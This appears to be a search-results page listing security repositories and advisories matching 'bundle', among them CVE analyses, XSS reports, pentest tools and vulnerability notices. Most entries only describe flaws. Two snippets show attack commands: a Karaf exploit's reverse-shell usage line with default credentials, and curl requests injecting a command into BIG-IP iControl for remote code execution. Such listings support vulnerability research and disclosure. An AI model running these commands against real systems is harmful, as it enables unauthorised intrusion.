3235 matches found
TheLastBundleMismatch
Mysterious patch Let's start this time with the patch that appeared as fix for CVE-2023-45777 in Android Security Bulletin: diff --git a/services/core/java/com/android/server/accounts/AccountManagerService.java b/services/core/java/com/android/server/accounts/AccountManagerService.java index...
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502
CVE-2025-14502 Vulnerability Analysis Report Vulnerability Overview Vulnerability Type : Local File Inclusion LFI Affected Versions : News and Blog Designer Bundle 1.1 and all earlier versions Severity : High Attack Complexity : Low no authentication required Vulnerability Principle Analysis 1...
CVE-2022-20474
CVE-2022-20474 Analysis ā Self-changed Bundle under LazyValue Preface A friendly reminder: before reading this article, you should have a basic understanding of Bundle Mismatch vulnerabilities. If you haven't read the following references, it is recommended to read them first: 1. Bundle Feng Shui...
Cross-Site-Scripting-Reflected-XSS-Vulnerability-in-blackcatcms_v1.3
Cross-Site-Scripting-Reflected-XSS-Vulnerability-in-blackcatcmsv1.3 BlackCat-CMS-Bundle-v1.3 Cross Site ScriptingXSS Assigned CVE Number: CVE-2018-10821 https://github.com/BlackCatDevelopment/BlackCatCMS/issues/384...
mhf
Mobile Helper Framework is a tool that automates the process of identifying the framework/technology used to create a mobile application. Additionally, it assists in finding sensitive information or provides suggestions for working with the identified platform. How work? The tool searches for fil...
offsec-karaf-exploits
offsec-karaf-exploits Usage: python exploit.py --help Example: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Rebuild Payload Setup Felix Framework 1. Create the lib directory mkdir -p ./revshell/lib 2. Download Felix Framework 7.0.5 3...
CVE-2026-43813
CVE-2026-43813 ā CloudAttestation enforceEnvironment bypass Reverse-engineered analysis of the PCC attestation input-validation bug Apple shipped as iOS 26.6, found in CloudAttestation.dylib. TL;DR PCC.ComputeNodeValidator.policy.getter reads the com.apple.CloudAttestation.environment byte from t...
CVE-2026-108013
The HCL BigFix Platform is affected by a security vulnerability involving an outdated Mozilla CA certificate bundle (PEM) . Bundles dated before 2026/10/20 still trust certificates with compromised private keys. This allows an on-path attacker to impersonate remote servers and tamper with files d...
EUVD-2026-109219
BigFix Platform uses Mozilla CA certificate bundle PEM. Versions of the bundle dated before 2026/10/20 still trust certificates whose private keys have been compromised. When BigFix Platform validates servers using such a bundle, an on-path attacker can impersonate remote servers and tamper with...
wix-kickstartx-challenge-writeup
Wix KickstartX Challenge 2026 ā Full Writeup Result: 200/200 100% ā Token: WKX-9245FA70-200 Date: March 24, 2026 1. Discovery & Reconnaissance The Challenge Announcement A LinkedIn post announced a special challenge for Wix KickstartX ā a junior developer program. The rules: 30 minutes, one...
nifi-CVE-2026-39816-poc
Apache NiFi CVE-2026-39816 POC Proof-of-concept demonstration for CVE-2026-39816, an EXECUTECODE permission bypass in Apache NiFi 2.8.0 that lets a flow designer who has been deliberately denied code-execution privileges run arbitrary Groovy in the NiFi JVM via the graph bundle's ExecuteGraphQuer...
idb
Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...
CVE-2021-22986-Poc
CVE-2021-22986-Poc This is a Poc for BIGIP iControl unauth RCE POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...
Blackcat-cms-v1.2-xss-POC-by-Provensec-llc
Blackcat-cms-v1.2-xss-POC-by-Provensec-llc BlackCat-CMS-Bundle-v1.2 Cross Site ScriptingXSS Assigned CVE Number: CVE-2017-9609...
IntRec-Pack
IntRec-Pack Intelligence and Reconnaissance Package/Bundle installer. IntRec-Pack is a Bash script designed to download, install and deploy several quality OSINT, Recon and Threat Intelligence tools. Due to the fact it manages the installation of the various dependencies related to these programs...
NGINX_2026_CVE_Bundle_CTI_Report
š”ļø NGINX 2026 Multi-CVE CTI Investigation CVE-2026-28755 ā¢ CVE-2026-42926 ā¢ CVE-2026-9256 ā¢ CVE-2026-42055 ā¢ CVE-2026-42533 Created by Pratik Chhetri Report Date: 2026-07-28 š Executive Snapshot CVE| Component| Primary Issue| Fixed Open Source Versions| Priority ---|---|---|---|--- CVE-2026-28755|...
Updated perl-Mozilla-CA package fixes a security vulnerability
Mozilla::CA versions before 20261020 for Perl provide a CA certificate bundle containing a root linked to compromised intermediates. CVE-2026-113812...
EUVD-2026-108274
SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement by default. An attacker authorized for one tenant can read from or write to another tenant's partition...
CVE-2026-110744
A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control RBAC permissions that grant cluster-wide impersonation of arbitrary users, groups, and service accounts without restriction. An attacker who compromises the operator...
rauc-1.5-integration
Integrating RAUC 1.5 This repository contains examples to simplify integrating the RAUC update into existing projects. You can subscribe to https://github.com/rauc/rauc-1.5-integration/issues/1 to receive notifications of important updates to this repository and of integration into the upstream...